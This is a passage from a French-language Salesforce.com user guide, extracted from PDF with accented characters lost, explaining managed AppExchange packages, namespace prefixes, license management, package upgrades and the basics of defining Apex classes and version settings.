Pour tlcharger des packages :

Tlcharger des packages AppExchange

La cration d'un package gr est aussi simple que celle d'un package non gr, mais quelques personnalisations doivent
cependant tre ralises au sein de votre entreprise. Afin de permettre votre entreprise Salesforce.com de crer des packages
grs, vous devez utiliser une organisation Developer Edition.
Pour activer votre entreprise afin qu'elle prenne en charge les packages grs :

Si vous le souhaitez, vous pouvez installer l'application de gestion de licences (LMA) partir de
http://sites.force.com/appexchange. Recherchez l'application de gestion des licences. L'application de
gestion de licences (LMA) assure le suivi des informations concernant chaque utilisateur installant votre application. Elle
vous permet de savoir la version que les utilisateurs installent, ce qui vous donne la possibilit de diffuser des informations
concernant les mises niveau.
L'application de gestion de licences (LMA) peut tre installe dans n'importe quelle entreprise Salesforce.com, l'exception
des entreprises Personal Edition, Group Edition, Professional Edition. De plus, il ne s'agit pas ncessairement de la mme
entreprise Salesforce.com que celle que vous utilisez pour crer ou tlcharger le package. Vous pouvez galement utiliser
la mme application de gestion de licences (LMA) pour grer un nombre illimit de packages grs dans diffrentes
entreprises Developer Edition.

Crer

Guide de l'utilisateur | Prsentation des packages | 874

Configurez vos paramtres de dveloppeur. Vos paramtres de dveloppeur dterminent votre prfixe d'espace de noms,
l'entreprise Salesforce.com dans laquelle vous installez l'application de gestion de licences (LMA) et le package non gr
convertir en package gr.

Voir aussi :
Gestion des packages
propos des packages grs
Conversion des packages non grs en grs
Configuration de vos paramtres de dveloppeur
Enregistrement d'un prfixe d'espace de noms
Spcification d'une entreprise de gestion de licences
Configuration de vos paramtres de dveloppeur
Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour configurer les paramtres du dveloppeur :

Personnaliser l'application

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Les paramtres de dveloppeur d'une entreprise Developer Edition vous permettent de crer un package gr unique et de le
tlcharger vers le rpertoire Force.com AppExchange de faon ce que les autres utilisateurs puissent installer et mettre
niveau ce package dans leur entreprise. Aprs avoir configur vos paramtres de dveloppeur une premire fois, vous ne pouvez
plus les modifier. Quels que soient les paramtres de dveloppeur, vous pouvez toujours crer un nombre illimit de packages
non grs.
Avant de configurer vos paramtres de dveloppeur, passez en revue les exigences et tapes prsentes dans Activation des
packages grs pour votre entreprise la page 873.
Pour configurer vos paramtres de dveloppeur :
1. Cliquez sur Configuration Crer Packages.
2. Cliquez sur Modifier.
Remarque: Ce bouton n'apparat pas si vous avez dj configur vos paramtres de dveloppeur.

3. Passez en revue les slections ncessaires la configuration des paramtres de dveloppeur et cliquez sur Continuer.
4. Enregistrez un prfixe d'espace de noms.

Crer

Guide de l'utilisateur | Prsentation des packages | 875

5. Slectionnez le package que vous souhaitez convertir en package gr. Si vous ne disposez pas encore d'un package
convertir, laissez ce champ vide et mettez-le jour ultrieurement.
6. Cliquez sur Vrifier mes slections.
7. Cliquez sur Enregistrer. Spcification d'une entreprise de gestion de licences
Conseil: Pour plus d'informations sur la spcification d'une entreprise de gestion de licences pour votre package gr,
rendez-vous sur le site http://sites.force.com/appexchange/publisherHome.

Voir aussi :
Activation des packages grs pour votre entreprise
Enregistrement d'un prfixe d'espace de noms
Spcification d'une entreprise de gestion de licences
Enregistrement d'un prfixe d'espace de noms
Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour configurer les paramtres du dveloppeur :

Personnaliser l'application

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Dans un contexte de gnration d'un package, un prfixe d'espace de noms est un identificateur alphanumrique de 1
15 caractres qui distingue votre package et son contenu de ceux d'autres dveloppeurs dans AppExchange. Les prfixes d'espace
de noms respectent la casse. Par exemple, ABC et abc ne sont pas considrs comme identiques. Le prfixe de votre espace
de noms doit tre unique dans l'ensemble des organisations Salesforce.com. Il vous permet de contrler votre package gr en
exclusivit.
ATTENTION: Les commandes s-control stockes dans la bibliothque de commandes s-control ou dans l'onglet
Documents, qui n'utilisent pas l'API Force.com, continuent fonctionner aprs l'enregistrement d'un prfixe d'espace
de noms. Cependant, les commandes s-control stockes en dehors de votre entreprise ou celles qui utilisent l'API
Force.com pour appeler Salesforce.com peuvent ncessiter un ajustement. Pour plus d'informations, reportez-vous
la page d'objet standard de Commandes s-control du Web Services API Developer's Guide de Force.com.
Votre prfixe d'espace de noms doit :

Commencer par une lettre.

Contenir entre un et 15 caractres alphanumriques.
Ne pas contenir deux traits de soulignement conscutifs.

Pour enregistrer un prfixe d'espace de noms :

Crer

Guide de l'utilisateur | Prsentation des packages | 876

1. Cliquez sur Configuration Crer Packages.

2. Cliquez sur Modifier.
Remarque: Ce bouton n'apparat pas si vous avez dj configur vos paramtres de dveloppeur.

3.
4.
5.
6.
7.
8.

Passez en revue les slections ncessaires la configuration des paramtres de dveloppeur et cliquez sur Continuer.
Entrez le prfixe d'espace de noms enregistrer.
Cliquez sur Vrifier la disponibilit pour vrifier qu'il n'est pas utilis.
Recommencez si le prfixe d'espace de noms que vous avez saisi n'est pas disponible.
Cliquez sur Vrifier mes slections.
Cliquez sur Enregistrer.

Voir aussi :
Activation des packages grs pour votre entreprise
Configuration de vos paramtres de dveloppeur
Spcification d'une entreprise de gestion de licences
Spcification d'une entreprise de gestion de licences
Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Une entreprise de gestion de licences est une entreprise Salesforce.com qui permet d'assurer le suivi de tous les utilisateurs
Salesforce.com qui procdent l'installation de votre package gr. L'entreprise de gestion des licences reoit une notification
(sous la forme d'un enregistrement de piste) lorsqu'un utilisateur installe/dsinstalle votre package et suit chaque tlchargement
de package dans Force.com AppExchange.
Votre entreprise de gestion de licences peut tre n'importe quelle entreprise disposant de Salesforce.com Enterprise Edition,
Unlimited Edition ou Developer Edition et ayant install l'application de gestion de licences (LMA) gratuite disponible dans
AppExchange. Pour spcifier une organisation de gestion de licences, visitez la page
http://sites.force.com/appexchange/publisherHome.

Voir aussi :
Activation des packages grs pour votre entreprise
Configuration de vos paramtres de dveloppeur
Enregistrement d'un prfixe d'espace de noms

Crer

Guide de l'utilisateur | Prsentation des packages | 877

Conversion des packages non grs en grs

Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour configurer les paramtres du dveloppeur :

Personnaliser l'application

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Votre entreprise a peut-tre dj tlcharg et enregistr des packages sur le rpertoire Force.com AppExchange. Tous les
packages tlchargs avant la version Winter '07 sont non grs, ce qui signifie qu'ils ne peuvent pas tre mis niveau dans
l'entreprise de l'installateur. Vous pouvez les convertir en packages grs en configurant votre entreprise cet effet et en
choisissant le package grer. Ceci vous permet d'avertir les installateurs lorsqu'une mise niveau est prte tre installe.
Avant de convertir un package existant en package gr, indiquez vos installateurs actuels comment enregistrer leurs donnes :
1.
2.
3.
4.

Exportez toutes les donnes de la version prcdente non gre du package.

Dsinstallez le package non gr.
Installez la nouvelle version gre du package.
Importez toutes les donnes exportes dans le nouveau package.
Remarque: Remarque l'attention des installateurs : si vous avez personnalis l'installation d'un package non gr,
dressez la liste des modifications effectues avant de le dsinstaller pour pouvoir les remettre en place ultrieurement.
Cependant, certaines personnalisations ne seront pas possibles avec un package gr. Reportez-vous Composants
intgrer dans un package la page 866.

Pour convertir un package non gr en package gr :

1. Activez les packages grs pour votre entreprise.
2. Cliquez sur Configuration Crer Packages, modifiez le package convertir en package gr, puis slectionnez Gr.
ATTENTION: La conversion d'un package non gr en package gr exige l'enregistrement d'un prfixe d'espace
de noms qui affecte les noms d'API de composants du package dots d'un nom unique, comme les champs personnaliss
ou les commandes custom s-control. Les commandes s-control stockes dans la bibliothque de commandes s-control
ou dans l'onglet Documents, qui n'utilisent pas l'API Force.com, continuent fonctionner aprs l'enregistrement d'un
prfixe d'espace de noms. Cependant, les commandes s-control stockes en dehors de votre entreprise ou celles qui
utilisent l'API Force.com pour appeler Salesforce.com peuvent ncessiter un ajustement. Pour plus d'informations,

Crer

Guide de l'utilisateur | Prsentation des packages | 878

reportez-vous la page d'objet standard de Commandes s-control du Web Services API Developer's Guide de
Force.com.

Voir aussi :
Gestion des packages
propos des packages grs
Activation des packages grs pour votre entreprise
Attributs de composants dans les packages grs
Attributs de composants dans les packages grs
Le tableau suivant prsente le comportement des attributs de composants dans un package gr. Dans un package non gr,
tous les attributs peuvent tre modifis par l'abonn et par le dveloppeur car le package ne peut pas tre mis niveau. Pour
plus d'informations sur les proprits de composants intgrer dans un package, reportez-vous Proprits des composants
de packages la page 866.
Modifiable par le dveloppeur
Le dveloppeur peut modifier les attributs du composant dans cette colonne. Ces attributs sont verrouills dans
l'organisation de l'abonn.
Modifiable par l'abonn et le dveloppeur
L'abonn et le dveloppeur peuvent modifier les attributs du composant dans cette colonne. Cependant, ils ne peuvent
pas tre mis niveau ; seuls les nouveaux abonns reoivent les dernires modifications.
Verrouill
Une fois un package Gr - Publi, le dveloppeur et l'abonn ne peuvent plus modifier les attributs du composant dans
cette colonne.
Composant

Modifiable par le
dveloppeur

Instantan analytique

Modifiable par l'abonn et le Verrouill

dveloppeur

Tous les attributs

l'exception de Nom unique

de l'instantan analytique

Nom unique de
l'instantan analytique

Classe Apex

Version API
Code

Nom

Motif de partage Apex

tiquette de motif

Nom du motif

Nom

Nouveau calcul du partage

Apex
Dclencheur Apex

Version API
Code

Classe Apex

Crer

Guide de l'utilisateur | Prsentation des packages | 879

Composant

Modifiable par le
dveloppeur

Application

Modifiable par l'abonn et le Verrouill

dveloppeur

Tous les attributs

l'exception du nom de la
sous-application

Nom de la
sous-application

Hauteur

Redimensionnable

Afficher la barre d'adresse

Afficher la barre de menus
Afficher les barres de
dfilement
Afficher la barre d'tat
Afficher les barres d'outils
Largeur
Position de la fentre

Type d'affichage
Nom

Texte d'aide
Type de masque
Caractre de masque
Paramtre de partage
Valeurs de tri des listes de
slection

Nom de relation enfant

Type de donnes
Dcimales
ID externe
Nom du champ
Longueur
Obligatoire
Champ rcapitulatif de
cumul
Objet rcapitulatif de
cumul
Type de rcapitulatif de
cumul
Unique

Nom

Bouton ou lien personnalis

Comportement
Bouton ou URL du lien
Source de contenu
Description
Cases cocher d'affichage
tiquette
Codage du lien

Champ personnalis

Format d'affichage de
numrotation automatique
Description
Valeur par dfaut
tiquette de champ
Formule
Filtre de recherche
tiquette de la liste
associe
Critres du filtre de
rcapitulatif de cumul

tiquette personnalise

Catgorie
Description courte
Valeur

Objet personnalis

Description
tiquette
tiquette - pluriel
Nom de l'enregistrement
Commence par un son
vocalique

Autoriser les activits

Autoriser les rapports

Disponible pour le portail

client

Configuration de l'aide
contextuelle
Modle de partage par
dfaut

Nom de l'objet
Type de donnes du noms
d'enregistrement
Format d'affichage du nom
d'enregistrement

Crer

Guide de l'utilisateur | Prsentation des packages | 880

Composant

Modifiable par le
dveloppeur

Modifiable par l'abonn et le Verrouill

dveloppeur

Statut du dveloppement
Activer la prise en charge
des services
Octroyer l'accs par le biais
des hirarchies
Prsentations de recherche
Historique du champ de
suivi

Type de rapport personnalis

Tous les attributs

l'exception de Statut de
dveloppement et Nom du
type de rapport

Statut du dveloppement

Paramtre personnalis

Description
tiquette

Type de paramtre
Visibilit

Tableau de bord

Tous les attributs

l'exception de Nom unique

du tableau de bord

Nom unique de tableau de

bord

Document

Tous les attributs

l'exception de Nom unique

du document

Nom unique du document

Modle d'e-mail

Tous les attributs

l'exception de Nom du
modle d'e-mail

Nom du modle d'e-mail

Dossier

Tous les attributs

l'exception de Nom unique

du dossier

Composant de la page
d'accueil

Corps
Position du composant

Nom de type de rapport

Nom unique de dossier

Nom
Type

Prsentation de page
d'accueil

Tous les attributs

l'exception de Nom de la
prsentation

Nom de la prsentation

En-tte

Tous les attributs

l'exception de Nom de
l'en-tte

Nom de l'en-tte

Crer

Guide de l'utilisateur | Prsentation des packages | 881

Composant

Modifiable par le
dveloppeur

Modifiable par l'abonn et le Verrouill

dveloppeur

Vue de liste

Tous les attributs

l'exception de Nom unique

de la vue

Nom unique de vue

Prsentation de page

Tous les attributs

l'exception de Nom de la
prsentation de page

Nom de la prsentation de
page

Description
tiquette de type
denregistrement

Actif
Processus commerciaux

Nom

Tous les attributs

l'exception de Package

Dveloppeur peut modifier

tous les attributs
l'exception de Package
Abonn ne peut modifier
aucun attribut

Package

Tous les attributs

l'exception de Nom unique

de rapport

Nom unique de rapport

Prconcevoir en page

Nom de la commande
S-Control
Type

Nom

Nom de l'onglet

Type d'enregistrement

Application d'accs distance

Rapport

Commandes S-Control

Contenu
Description
Codage
Nom de fichier
tiquette

Ressources statiques

Description
Fichier

Onglet

Description
Codage
Avec menu latral
Hauteur
tiquette
Commandes S-Control
Lien personnalis de la
page de bienvenue
Type
URL
Largeur

Mobile prt
Style d'onglet

Crer

Guide de l'utilisateur | Prsentation des packages | 882

Composant

Modifiable par le
dveloppeur

Translation

Tous les attributs

Rgle de validation

Description
Formule de condition
d'erreur
Emplacement de l'erreur
Message d'erreur

Composant Visualforce

Page Visualforce

Nom de rgle

Version API
Description
tiquette
Balisage

Nom

Version API
Description
tiquette
Balisage

Nom

Alerte par e-mail de workflow

Mise jour de champ de

workflow

Modifiable par l'abonn et le Verrouill

dveloppeur

Description
Valeur de champ
Valeur de formule

Actif

E-mails supplmentaires
Modle d'e-mail
partir de l'adresse e-mail
Destinataires

Description

Recherche
Notifier le bnficiaire

Nom

Message sortant du workflow

Description

URL de point limite

Champs envoyer
Envoyer un ID de session

Utilisateur envoyer en
tant que

Nom

Rgle de workflow

Description
Critres d'valuation
Critres de la rgle

Actif

Nom de rgle

Crer

Guide de l'utilisateur | Prsentation des packages | 883

Composant

Modifiable par le
dveloppeur

Tche de workflow

Modifiable par l'abonn et le Verrouill

dveloppeur

Attribuer
Commentaires
chance
Notifier le bnficiaire
Priorit
Type d'enregistrement
Statut

Objet

Voir aussi :
Conversion des packages non grs en grs

Publication d'extensions vers des packages grs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

Une extension correspond tout package, composant ou ensemble de composants qui s'ajoute aux fonctionnalits d'un package
gr. Une extension ncessite que le package gr de base soit install dans l'organisation. Par exemple, si vous avez construit
une sous-application de recrutement, une extension celle-ci peut comprendre un composant permettant d'effectuer des
vrifications du parcours des candidats.
La communaut de dveloppeurs, d'utilisateurs et de visionnaires crant et publiant des sous-applications dans le rpertoire
Force.com AppExchange est l'une des explications de la richesse de Force.com en tant que plate-forme de dveloppement.
Utilisez cette communaut pour crer des extensions vers d'autres sous-applications et encouragez-la en crer vers vos
sous-applications.
Pour publier des extensions vers un package gr :
1. Installez le package de base dans l'entreprise Salesforce.com que vous envisagez d'utiliser pour tlcharger l'extension.
2. Crez vos composants d'extension.
Remarque: Pour crer une extension, installez le package de base et incluez une dpendance ce package de base
dans votre package. L'attribut de l'extension sera automatiquement actif.
3. Crez un package et ajoutez vos composants d'extension. Salesforce.com inclut automatiquement certains composants
associs.

Crer

Guide de l'utilisateur | Prsentation des packages | 884

4. Tlchargez le nouveau package contenant les composants d'extension.

5. Poursuivez le processus de publication habituel : Pour plus d'informations sur la cration d'une solution l'essai ou sur
l'enregistrement et la publication de votre sous-application, rendez-vous sur le site
http://sites.force.com/appexchange/publisherHome.
Remarque: Les packages ne peuvent pas tre mis niveau vers Gr-Bta s'ils sont utiliss dans la mme organisation
en tant qu'extension.

Voir aussi :
Prparation de vos applications pour la distribution
Comprhension des dpendances
Composants intgrer dans un package
Gestion des tlchargements
Publication de mises niveau vers des packages grs

Publication de mises niveau vers des packages grs

Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour configurer les paramtres du dveloppeur :

Personnaliser l'application

Pour crer des packages :

Crer des packages AppExchange

Pour tlcharger des packages :

Tlcharger des packages AppExchange

En tant qu'diteur, assurez-vous tout d'abord qu'il est possible de mettre niveau votre sous-application en la convertissant
en package gr. Toutes les modifications que vous introduisez dans les composants d'un package gr sont automatiquement
incluses dans les tlchargements ultrieurs de ce package, avec une exception. Lorsque vous mettez un package niveau, les
modifications apportes l'accs API sont ignores mme si le dveloppeur les a spcifies. Ceci permet de s'assurer que
l'administrateur installant la mise niveau possde un contrle intgral. Au cours de l'installation, les installateurs doivent
tudier attentivement les modifications apportes l'accs des packages pour chaque mise niveau et noter toutes les
modifications acceptables. Ensuite, dans la mesure o ces modifications sont ignores, l'administrateur doit appliquer
manuellement toutes les modifications acceptables aprs l'installation d'une mise niveau. Pour plus d'informations, reportez-vous
A propos de l'accs API et Apex dynamique dans les packages la page 1016.
Pour publier des mises niveau vers un package gr :
1. Slectionnez le package concern dans la liste des packages disponibles dans Configuration Crer Packages.
2. Visualisez la liste des composants du package. Les changements que vous avez apports aux composants de ce package sont
automatiquement inclus dans cette liste. Si les changements portent sur des composants supplmentaires, ils sont galement

Crer

Guide de l'utilisateur | Prsentation des packages | 885

inclus automatiquement. Pour ajouter de nouveaux composants, cliquez sur Ajouter pour les ajouter manuellement au
package.
3. Cliquez sur Tlcharger et effectuez le tlchargement comme d'habitude.
Remarque:
Aprs avoir tlcharg une nouvelle version de votre package Gr - Publi, vous pouvez cliquer sur Rendre obsolte
afin que les installateurs ne puissent plus installer une version prcdente. L'obsolescence empche de nouvelles
installations d'anciennes versions sans aucune incidence sur les installations existantes. Pour plus d'informations,
reportez-vous Gestion des tlchargements la page 855.
Vous ne pouvez pas rendre obsolte la version la plus rcente d'un tlchargement de packages grs.
4. Lorsque vous recevez un e-mail avec le lien vers le tlchargement sur le rpertoire Force.com AppExchange, indiquez aux
utilisateurs qui ont effectu une installation que la nouvelle version est prte. Utilisez la liste des utilisateurs qui ont effectu
l'installation dans la application de gestion de licences (LMA) pour faire passer cette information. L'application de gestion
de licences (LMA) stocke automatiquement le numro de version que vos installateurs utilisent dans leur entreprise.

Voir aussi :
Prparation de vos applications pour la distribution
Comprhension des dpendances
Composants intgrer dans un package
Gestion des tlchargements
Publication d'extensions vers des packages grs

Dvelopper
Prsentation du dveloppement
Les options de configuration disponibles dpendent de votre dition de Salesforce.com.

Cliquez sur Configuration Dvelopper pour accder aux options suivantes. Ces outils de cration de sous-applications
requirent des connaissances en programmation :
Classes Apex
Option disponible uniquement dans Developer Edition, Unlimited Edition et Enterprise Edition. Dfinition de classes
Apex qui permettent d'ajouter une logique applicative supplmentaire vos applications personnalises.
Dclencheurs Apex
Option disponible uniquement dans Developer Edition, Unlimited Edition et Enterprise Edition. Affichage de tous les
dclencheurs Apex dfinis pour votre organisation.
API
Option disponible uniquement dans Enterprise Edition, Unlimited Edition et Developer Edition. Tlchargement de
fichiers WSDL qui permettent d'intgrer des applications externes avec Salesforce.com.
Composants
Option disponible dans Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.
Dfinition de composants Visualforce personnaliss que vous pouvez utiliser dans une ou plusieurs pages Visualforce.
Paramtres personnaliss
Disponible dans Developer Edition, Enterprise Edition et Unlimited Edition. Crer et grer des donnes personnalises
pour votre organisation.
Services de messagerie lectronique
Option disponible uniquement dans Developer Edition. Dfinition de classes Apex qui peuvent traiter les e-mails
entrants.
Pages
Option disponible dans Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.
Dfinition de pages Visualforce qui affichent vos interfaces utilisateur personnalises.
Commandes S-Control
Tlchargement de contenu tel que des applets Java ou des contrles Active-X utiliser dans des liens personnaliss
dynamiques ou dans des onglets Web.
Avertissement: Les commandes S-control ont t remplaces par les pages Visualforce. Aprs janvier 2010,
salesforce.com supprimera la possibilit de crer et de distribuer de nouvelles commandes S-control. Les
commandes S-control existantes ne seront pas affectes.

Dvelopper

Guide de l'utilisateur | Prsentation du code Apex Force.com | 887

Sites
Disponible dans Developer Edition, Enterprise Edition et Unlimited Edition. Cration de sites Web et d'applications
publics intgrs dans Salesforce.com.
Ressources statiques
Option disponible dans Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.
Tlchargement de contenu que vous pouvez rfrencer dans une page Visualforce, qui comprend des archives (fichiers
.zip et .jar), des images, des feuilles de style, des programmes JavaScript et d'autres fichiers.
Accs distance
Disponible avec toutes les ditions. Crer et grer une application d'accs distance. Une application d'accs distance
est extrieure Salesforce.com, et utilise le protocole OAuth pour vrifier l'utilisateur Salesforce.com et l'application
externe.
Outils
Option disponible uniquement dans Enterprise Edition et Unlimited Edition. Tlchargement d'outils qui aident
laborer, dboguer, tester et dployer Apex.

Voir aussi :
Prsentation des outils de dveloppement de sous-applications
Prsentation de la configuration des sous-applications

Prsentation du code Apex Force.com

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Le code Force.com Apex est un langage de programmation orient objet, fortement typ, qui permet aux dveloppeurs d'excuter
des instructions de contrle de flux et de transactions sur le serveur de la plate-forme Force.com, en conjonction avec des appels
l'API Force.com. Avec une syntaxe semblable Java et qui se comporte comme les procdures stockes dans une base de
donnes, le code Apex permet aux dveloppeurs d'ajouter une logique applicative la plupart des vnements systme, y compris
aux clics sur les boutons, aux mises jour d'enregistrements associs et aux pages Visualforce. Les scripts Apex peuvent tre
initialiss par des demandes manant de services Web et de dclencheurs d'objets.
Apex peut tre stock sur la plate-forme sous deux formes :

Une classe est un modle ou plan directeur partir duquel les objets Apex sont crs. Les classes sont constitues d'autres
classes, de mthodes dfinies par l'utilisateur, de variables, de types d'exception et d'un code d'initialisation statique sous
Configuration Dvelopper Classes Apex. Reportez-vous Gestion des classes Apex la page 891.
Un dclencheur est un script Apex qui s'excute avant ou aprs certains vnements de langage de manipulation de donnes
(DML), par exemple avant l'insertion d'enregistrements d'objet dans la base de donnes ou aprs la suppression
d'enregistrements. Les dclencheurs sont stocks en tant que mtadonnes dans Salesforce.com. Une liste de tous les
dclencheurs de votre organisation se trouve dans Configuration Dvelopper Dclencheurs Apex. Reportez-vous
Gestion des dclencheurs Apex la page 899.

Les scripts Apex s'excutent en gnral dans le contexte du systme, c'est--dire qu'ils ne tiennent pas compte des autorisations
bases sur le profil de l'utilisateur actuel, de la scurit au niveau des champs ni des rgles de partage.

Dvelopper

Guide de l'utilisateur | Dfinition des classes Apex | 888

Remarque: Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise Edition
ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez apporter des
modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes, Force.com IDE ou
l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des ressources fournies
gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant
partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com. Pour plus d'informations sur
le dploiement Apex, reportez-vous la rubrique Deploying Apex Scripts dans le manuel Force.com Apex Code
Developer's Guide.
Pour plus d'informations sur la syntaxe et l'utilisation d'Apex, reportez-vous au manuel Force.com Apex Code Developer's
Guide.

Voir aussi :
Dfinition des classes Apex
Affichage des classes Apex
Paramtrage de la scurit d'une classe Apex
Cration d'une classe Apex partir d'un document WSDL
Dfinition des dclencheurs Apex
Qu'est-ce qu'un journal de dbogage ?
Utilisation de la console du journal systme
Excution de tests unitaires Apex
Gestion des journaux de dbogage
Utilisation d'outils Apex
Gestion des exceptions Apex dans les packages grs

Dfinition des classes Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Les classes Apex sont stockes sous forme de mtadonnes dans l'application.
Remarque: Vous pouvez ajouter, modifier ou supprimer du code Apex en utilisant l'interface utilisateur Salesforce.com
uniquement dans une organisation Developer Edition, une organisation d'valuation Salesforce.com Enterprise Edition
ou une organisation de test sandbox. Dans une organisation de production Salesforce.com, vous pouvez apporter des
modifications au code Apex uniquement en utilisant l'appel dployer l'API de mtadonnes, Force.com IDE ou
l'Outil de migration Force.com. Force.com IDE et l'Outil de migration Force.com sont des ressources fournies

Dvelopper

Guide de l'utilisateur | Dfinition des classes Apex | 889

gratuitement par salesforce.com pour aider ses utilisateurs et partenaires, mais ne sont pas considrs comme faisant
partie de nos Services dans le cadre du Contrat d'abonnement principal Salesforce.com.
Pour crer une classe :
1. Dans l'application, cliquez sur Configuration Dvelopper Classes Apex.
2. Cliquez sur Nouveau.
3. Cliquez sur Paramtres de version pour spcifier la version de la classe Apex et l'API utilise dans cette classe. Si votre
organisation a des packages grs installs depuis AppExchange, vous pouvez galement spcifier la version de chaque
package gr utiliser avec cette classe. Gnralement, vous devez utiliser les valeurs par dfaut pour toutes les versions.
Elles associent la classe la version la plus rcente du code Apex et de l'API, ainsi que de chaque package gr. Vous pouvez
spcifier une version antrieure d'un package gr si vous souhaitez accder des composants ou des fonctionnalits qui
diffrent de la version la plus rcente du package. Vous pouvez spcifier une version antrieure du code Apex et de l'API
pour conserver un comportement spcifique.
4. Dans la zone de saisie Corps, entrez le code Apex pour la classe. Une seule classe peut contenir jusqu' 100 000 caractres.
5. Cliquez sur Enregistrer pour enregistrer vos modifications et revenir l'cran de dtails de la classe ou cliquez sur
Enregistrement rapide pour enregistrer vos modifications et continuer modifier la classe. Votre script Apex doit tre
correctement compil pour que vous puissiez enregistrer la classe.
Une fois enregistres, les classes peuvent tre appeles partir de mthodes de classe ou de variables par un autre script Apex.
Remarque: Pour faciliter la rtrocompatibilit, les classes sont stockes avec les paramtres d'une version Apex
spcifique et l'API. Si la classe Apex rfrence des composants (par exemple un objet personnalis) dans des packages
grs installs, les paramtres de version de chaque package gr que la classe rfrence sont galement enregistrs. De
plus, les classes sont stockes avec un indicateur valide paramtr sur vrai condition que les mtadonnes
dpendantes n'aient pas chang depuis la dernire compilation de la classe. Si des modifications sont apportes aux
noms ou aux champs d'objet utiliss dans la classe, mme si elles sont mineures (par exemple, dans la description d'un
champ ou d'un objet), ou si des modifications sont apportes une classe qui appelle cette classe, l'indicateurvalide
est paramtr sur faux. Lorsqu'un dclencheur ou un appel de service Web appelle la classe, le code est recompos et
l'utilisateur est inform des ventuelles erreurs. En l'absence d'erreurs, l'indicateur valide est rinitialis sur vrai.

Voir aussi :
Prsentation du code Apex Force.com
Gestion des classes Apex
Affichage des classes Apex
Cration d'une classe Apex partir d'un document WSDL
Paramtrage de la scurit d'une classe Apex
Gestion des paramtres de version pour Apex
Utilisation de l'diteur pour Visualforce ouApex

Dvelopper

Guide de l'utilisateur | Gestion des paramtres de version pour Apex | 890

Gestion des paramtres de version pour Apex

Disponible avec : Unlimited Edition, Developer Edition et Enterprise Edition

Autorisations utilisateur requises

Pour dfinir, modifier, supprimer, configurer la scurit, dfinir Auteur Apex
les paramtres de version, afficher les dpendances et excuter
des tests pour les classes Apex :

Pour faciliter la rtrocompatibilit, les classes sont stockes avec les paramtres d'une version Apex spcifique et l'API. Si la
classe Apex rfrence des composants (par exemple un objet personnalis) dans des packages grs installs, les paramtres de
version de chaque package gr que la classe rfrence sont galement enregistrs. Ainsi, lorsque Apex, l'API et les composants
de packages grs voluent avec les versions publies ultrieurement, une classe ou un dclencheur reste li aux versions avec
un comportement spcifique connu.
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com. Les versions de package permettent aux diteurs
d'adapter les composants de leurs packages grs en publiant gracieusement des versions ultrieures sans gner les intgrations
clientes existantes en utilisant le package.
Pour dfinir la version API et Apex Salesforce.com pour une classe ou un dclencheur :
1. Modifiez une classe ou un dclencheur, puis cliquez sur Paramtres de version.
2. Slectionnez la Version de l'API Salesforce.com. Il s'agit galement de la version Apex associe la classe ou au dclencheur.
3. Cliquez sur Enregistrer.
Pour configurer les paramtres de version du package pour une classe ou un dclencheur :
1. Modifiez une classe ou un dclencheur, puis cliquez sur Paramtres de version.
2. Slectionnez une Version pour chaque package gr rfrenc par la classe ou le dclencheur : Cette version du package
gr continue d'tre utilise par la classe ou le dclencheur si des versions ultrieures du package gr sont installes, sauf
si vous mettez manuellement jour le paramtre de version. Pour ajouter un package gr install la liste des paramtres,
slectionnez un package dans la liste des packages disponibles. Cette liste s'affiche uniquement si un package gr install
n'est pas dj associ la classe ou au dclencheur.
3. Cliquez sur Enregistrer.
Notez les points suivants lorsque vous utilisez des paramtres de version de package :

Si vous avez une classe ou un dclencheur Apex qui rfrence un package gr sans spcifier sa version, la classe ou le
dclencheur Apex est associ par dfaut la dernire version installe du package gr.

Dvelopper

Guide de l'utilisateur | Gestion des classes Apex | 891

Vous ne pouvez pas Supprimer le paramtre de version d'une classe ou d'un dclencheur pour un package gr si le package
est rfrenc dans la classe ou dans le dclencheur. Utiliser Afficher les dpendances pour connatre l'emplacement du
